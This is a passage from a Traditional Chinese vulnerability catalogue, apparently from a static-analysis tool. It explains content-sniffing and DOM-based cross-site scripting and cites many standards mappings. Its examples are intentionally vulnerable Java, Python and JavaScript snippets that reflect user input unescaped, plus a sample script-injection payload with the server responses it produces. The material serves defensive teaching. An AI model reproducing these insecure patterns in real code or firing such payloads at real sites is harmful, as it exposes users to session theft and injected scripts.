界: Input Validation and Representation

輸入驗證和表示法問題是由中繼字元、替代編碼和數值表示法引起的。信任輸入會導致安全問題。問題包括:「Buffer Overflows」、「Cross-Site Scripting」攻擊、「SQL Injection」及其他許多問題。

183 找到的項目
弱點
Abstract
傳送未經驗證的資料至網路瀏覽器,可能會導致特定瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

要讓瀏覽器將回應呈現為 HTML,或可能執行指令碼的其他文件,需指定text/htmlMIME 類型。因此,只有回應使用此 MIME 類型或任何其他也會強制瀏覽器以 HTML 呈現回應或可能會執行指令碼 (例如 SVG 影像 (image/svg+xml)、XML 文件 (application/xml 等)) 的類型時,XSS 才會運作。

大多數新式瀏覽器在提供具有 MIME 類型 (例如 application/octet-stream) 的回應時,不會呈現 HTML 或執行指令碼。但 Internet Explorer 等部分瀏覽器會執行名為 Content Sniffing 的作業。Content Sniffing 會忽略提供的 MIME 類型,並嘗試依據回應的內容推論正確的 MIME 類型。
但要特別注意的是,text/html的 MIME 類型只是可能導致 XSS 弱點的一種 MIME 類型。可以執行諸如 SVG 影像 (image/svg+xml)、XML 文件 (application/xml) 等指令碼的其他文件,也可能導致 XSS 弱點,無論瀏覽器是否執行 Content Sniffing。

因此,<html><body><script>alert(1)</script></body></html> 之類的回應可以呈現為 HTML,即使其 content-type 標頭已設為 application/octet-stream, multipart-mixed 等。

範例 1:以下 JAX-RS 方法會在 application/octet-stream 回應中反映使用者資料。


@RestController
public class SomeResource {
@RequestMapping(value = "/test", produces = {MediaType.APPLICATION_OCTET_STREAM_VALUE})
public String response5(@RequestParam(value="name") String name){
return name;
}
}


如果攻擊者傳送一個要求並將 name參數設為 <html><body><script>alert(1)</script></body></html>,則伺服器會產生以下回應:


HTTP/1.1 200 OK
Content-Length: 51
Content-Type: application/octet-stream
Connection: Closed

<html><body><script>alert(1)</script></body></html>


即使回應清楚指出應該將其視為 JSON 文件,但舊瀏覽器仍可能嘗試將其呈現為 HTML 文件,這會使其易受 Cross-Site Scripting 攻擊。
References
[1] X-Content-Type-Options Mozilla
[2] MIME Type Detection in Windows Internet Explorer Microsoft
[3] Understanding Malicious Content Mitigation for Web Developers CERT
[4] HTML 4.01 Specification W3
[5] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[6] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[7] INJECT-3: XML and HTML generation requires care Oracle
[8] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[14] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[15] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[16] Standards Mapping - FIPS200 SI
[17] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[18] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[19] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[24] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[27] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[28] Standards Mapping - OWASP Top 10 2021 A03 Injection
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[40] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[41] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_content_sniffing
Abstract
傳送未經驗證的資料至網路瀏覽器,可能會導致特定瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

要讓瀏覽器將回應呈現為 HTML,或可能執行指令碼的其他文件,需指定 text/html MIME 類型。因此,只有回應使用此 MIME 類型或任何其他也會強制瀏覽器以 HTML 呈現回應或可能會執行指令碼 (例如 SVG 影像 (image/svg+xml)、XML 文件 (application/xml 等)) 的類型時,XSS 才會運作。

在使用 MIME 類型 (例如 application/json) 提供回應給大多數現代瀏覽器時,這些瀏覽器並不會呈現 HTML,也不會執行指令碼。但 Internet Explorer 等部分瀏覽器會執行名為 Content Sniffing 的作業。Content Sniffing 會忽略提供的 MIME 類型,並嘗試依據回應的內容推論正確的 MIME 類型。但要特別注意的是,text/html 的 MIME 類型只是可能導致 XSS 弱點的一種 MIME 類型。
可以執行諸如 SVG 影像 (image/svg+xml)、XML 文件 (application/xml) 等指令碼的其他文件,也可能導致 XSS 弱點,無論瀏覽器是否執行 Content Sniffing。

因此,<html><body><script>alert(1)</script></body></html> 之類的回應可以呈現為 HTML,即使其 content-type 標頭已設為 application/json

範例 1:下列 AWS Lambda 函數會在 application/json 回應中反映使用者資料。


def mylambda_handler(event, context):
name = event['name']
response = {
"statusCode": 200,
"body": "{'name': name}",
"headers": {
'Content-Type': 'application/json',
}
}
return response


如果攻擊者傳送一個要求並將 name 參數設為 <html><body><script>alert(1)</script></body></html>,則伺服器會產生以下回應:


HTTP/1.1 200 OK
Content-Length: 88
Content-Type: application/json
Connection: Closed

{'name': '<html><body><script>alert(1)</script></body></html>'}


即使回應清楚指出應該將其視為 JSON 文件,但舊瀏覽器仍可能嘗試將其呈現為 HTML 文件,這會使其易受 Cross-Site Scripting 攻擊。
References
[1] X-Content-Type-Options Mozilla
[2] MIME Type Detection in Windows Internet Explorer Microsoft
[3] Understanding Malicious Content Mitigation for Web Developers CERT
[4] HTML 4.01 Specification W3
[5] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[6] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[7] INJECT-3: XML and HTML generation requires care Oracle
[8] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[14] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[15] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[16] Standards Mapping - FIPS200 SI
[17] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[18] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[19] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[24] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[27] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[28] Standards Mapping - OWASP Top 10 2021 A03 Injection
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[40] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[41] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.python.cross_site_scripting_content_sniffing
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在基於 DOM 的 XSS 案例中,會從 URL 參數或瀏覽器內的其他值來讀取資料,並以用戶端程式碼回寫到頁面中。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。在基於 DOM 的 XSS 案例中,一旦受害者的瀏覽器開始剖析 HTML 頁面,就會開始執行惡意內容,且成為建立 DOM (Document Object Model,文件物件模型) 的一部分。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 JavaScript 程式碼區段在 HTTP 要求中讀取員工識別碼 eid,並顯示給使用者。


String queryString = Window.Location.getQueryString();
int pos = queryString.indexOf("eid=")+4;
HTML output = new HTML();
output.setHTML(queryString.substring(pos, queryString.length()));


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。


如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 直接從 HTTP 要求讀取資料,並直接回傳至 HTTP 回應。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料記憶體中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] INJECT-3: XML and HTML generation requires care Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_dom
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在基於 DOM 的 XSS 案例中,會從 URL 參數或瀏覽器內的其他值來讀取資料,並以用戶端程式碼回寫到頁面中。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。在基於 DOM 的 XSS 案例中,一旦受害者的瀏覽器開始剖析 HTML 頁面,就會開始執行惡意內容,且成為建立 DOM (Document Object Model,文件物件模型) 的一部分。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 JavaScript 程式碼片段會從 URL 讀取員工識別碼 eid 並顯示給使用者。


<SCRIPT>
var pos=document.URL.indexOf("eid=")+4;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>

範例 2:請考慮使用 HTML 表單:


<div id="myDiv">
Employee ID: <input type="text" id="eid"><br>
...
<button>Show results</button>
</div>
<div id="resultsDiv">
...
</div>


以下的 jQuery 程式碼片段會從表單讀取員工識別碼,並顯示給使用者。


$(document).ready(function(){
$("#myDiv").on("click", "button", function(){
